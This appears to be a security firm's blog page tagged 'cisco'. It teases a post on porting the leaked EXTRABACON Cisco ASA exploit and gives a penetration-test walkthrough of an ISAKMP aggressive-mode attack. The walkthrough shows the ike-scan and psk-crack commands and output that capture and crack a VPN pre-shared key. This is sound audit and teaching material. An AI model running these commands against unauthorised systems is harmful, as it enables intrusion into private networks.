Tag Archives: cisco

Bake your own EXTRABACON

In the last couple of days we took a closer look at the supposed NSA exploit EXTRABACON,  leaked by Shadow Brokers. As an initial analysis of XORcat concluded, the code is capable of bypassing authentication of Cisco ASA devices after exploiting a memory corruption vulnerability in the SNMP service. We managed analyze and test the code in our lab and even add support for version 9.2(4) (that created quite bit of a hype :). While we don’t plan to release the upgraded code until an official patch is available for all affected versions, in this post we try to give a detailed description of the porting process: what the prerequisites are and how much effort is required to extend its capabilities.  We also hope that this summary will serve as a good resource for those who want to get started with researching Cisco ASA.

Continue reading Bake your own EXTRABACON

ISAKMP hacking – How much should we trust our tools?

During a VPN testing project we looked a bit deeper into the security vulnerability caused by ISAKMP aggressive mode. To put things simple, the important fact for us is that assuming pre-shared key authentication and possession of a valid userid makes it possible to obtain the valid encrypted PSK. During the tests I used Cisco network equipment and the Cisco VPN Configuration Guide. First I discovered the open ISAKMP VPN port on the target system:

Initiating Service scan at 11:11
Scanning 1 service on
Completed Service scan at 11:13, 82.57s elapsed (1 service on 1 host)
NSE: Script scanning
Initiating NSE at 11:13
Completed NSE at 11:13, 30.08s elapsed
Nmap scan report for
Host is up (0.0035s latency).
500/udp open isakmp?

Read data files from: /usr/local/bin/../share/nmap
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 113.26 seconds
Raw packets sent: 5 (372B) | Rcvd: 2 (272B)

I created a short script to collect the cryptographic settings of the connection:

root@s2crew:~/bin# ./ike-crypt-transforms.sh
Ending ike-scan 1.9: 1 hosts scanned in 0.041 seconds (24.11 hosts/sec). 1 returned handshake; 0 returned notify
Supported: 5,2,1,2
Ending ike-scan 1.9: 1 hosts scanned in 0.041 seconds (24.37 hosts/sec). 1 returned handshake; 0 returned notify
Supported: 5,2,65001,2

The settings supported by the CISCO device can be seen below:

Encryption algorithms:: Triple-DES
Hash algorithms:: MD5
Authentication methods: Pre-Shared Key/Hybrid Mode and XAUTH
Diffie-Hellman groups: 2

I used the ikeprobe.exe application to detect whether the service was vulnerable. The result of the tests showed the target environment was not vulnerable:

root@s2crew:~/bin# wine ikeprobe.exe
IKEProbe 0.1beta (c) 2003 Michael Thumann (www.ernw.de)
Portions Copyright (c) 2003 Cipherica Labs (www.cipherica.com)
Read license-cipherica.txt for LibIKE License Information
IKE Aggressive Mode PSK Vulnerability Scanner (Bugtraq ID 7423)

Supported Attributes
Ciphers : DES, 3DES, AES-128, CAST
Hashes : MD5, SHA1
Diffie Hellman Groups: DH Groups 1,2 and 5

IKE Proposal for Peer:
Aggressive Mode activated ...
Attribute Settings:
Cipher CAST
Hash MD5
Diffie Hellman Group 5

8.251 3: ph1_initiated(00443ee0, 00449178)
8.283 3: << ph1 (00443ee0, 340)

System not vulnerable, Attribute mismatch or not authorized Peer.

The above statement was not true. Fortunately I knew a valid ID for the VPN connection that helped me to perform the attack:

root@s2crew:~/bin# ike-scan -A --trans=5,2,1,2 --id=vpnclient -Ppsk.txt
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/) Aggressive Mode Handshake returned HDR=(CKY-R=576568d95df504bb) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) VID=12f5f28c457168a9702d9fe274cc0100 (Cisco Unity) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) VID=a2a2cfc45df404bbeb2e7a5d49fd39fd VID=09002689dfd6b712 (XAUTH) KeyExchange(128 bytes) ID(Type=ID_IPV4_ADDR, Value= Nonce(20 bytes) Hash(20 bytes)

Ending ike-scan 1.9: 1 hosts scanned in 0.047 seconds (21.07 hosts/sec). 1 returned handshake; 0 returned notify

I performed a dictionary attack against the PSK hash:

root@s2crew:~/bin# psk-crack -d /root/depth4.dic psk.txt
Starting psk-crack [ike-scan 1.9] (http://www.nta-monitor.com/tools/ike-scan/)
Running in dictionary cracking mode
key "cisco123" matches SHA1 hash 07746c280f597b19b274499f771d0589ad26fce8
Ending psk-crack: 280320 iterations in 1.730 seconds (161992.45 iterations/sec)

Below is the part of the VPN configuration that made the device vulnerable:

crypto isakmp policy 3
encr 3des
authentication pre-share
group 2
crypto isakmp client configuration group vpnclient
key cisco123
domain silentsignal.eu
pool ippool
acl 101
crypto ipsec transform-set myset esp-3des esp-md5-hmac

When we perform a security audit, we have to take the power and limits of the tools used for testing into account. A good tester never trusts the result of any security testing tool blindly, and understands the issue under investigation.